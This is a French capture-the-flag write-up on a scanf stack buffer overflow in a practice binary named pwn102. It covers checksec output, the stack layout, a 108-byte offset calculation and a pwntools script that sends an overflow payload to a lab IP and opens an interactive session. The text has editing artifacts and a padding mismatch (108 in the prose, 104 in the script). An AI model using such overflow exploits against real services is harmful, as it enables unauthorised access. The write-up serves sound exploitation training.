L'overflow __scanf
On peut commencer par voir les protections associées à notre binaire :
┌──(arthur㉿LAPTOP-KSNUF8N7)-[~/case]
└─$ checksec --file=pwn102-1644307392479.pwn102
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 73 Symbols No 0 1 pwn102-1644307392479.pwn102
"No canary" indique qu'il est vraissemblablement possible d'overflow, mais "NX enabled" signifie que nous ne pourrons pas exécuter de shellcode dans notre overflow. De plus, "PIE enabled" signifie que les adresses changeront à chaque exécution.
OnEn décompiledécompilant notre binaire dans Binary Ninja, et on cherches'apperçoit que la fonction __isoc99_scanf est utilisée. C'est une bonne nouvelle pour nous car elle est vulénrable aux overflows.
Or nous savons que la pile se construit telle que la donnée ingérée par scanf remontera vers le haut de la pile :
_________
| TOP |
| ... |
| var_1 |
| ... | ^
| var_2 | |
| scanf | |
| ... |
|_________|
Ainsi, si scanf stocke la donnée dans var_2, comme aucune limite de taille n'est vérifiée, il est possible d'écraser la valeur de var_1.
Nous cherchons donc les adresses qui nous intéressent :

On en déduit la différence : 0x78 - 0xc = 0x6c
on sait donc que pour écrire dans la variable 0xc, il nous faut 0x6c bytes de padding (soit 108 bytes) puis la valeur souhaitée.
En connaissant la taille de la variable (dans l'exemple, int_32_t implique 4 bytes), on en déduit notre payload en ajoutant des bytes nulls devant notre valeur si nécessaire.
On n'oublie pas de s'accorder sur l'endianess et cela nous donne un payload : b"\x41" * 108 + b'\xd3\xc0\x00\x00'
Si on compile notre script python :
from pwn import *
io = remote('10.130.172.71', 9002)
print(io.recvregex(b'right?').decode('utf-8'))
payload = b'\x41'*104 + b'\xd3\xc0\x00\x00' + b'\x33\xff\xc0\x00'
io.sendline(payload)
print(io.readline().decode('utf-8'))
io.interactive()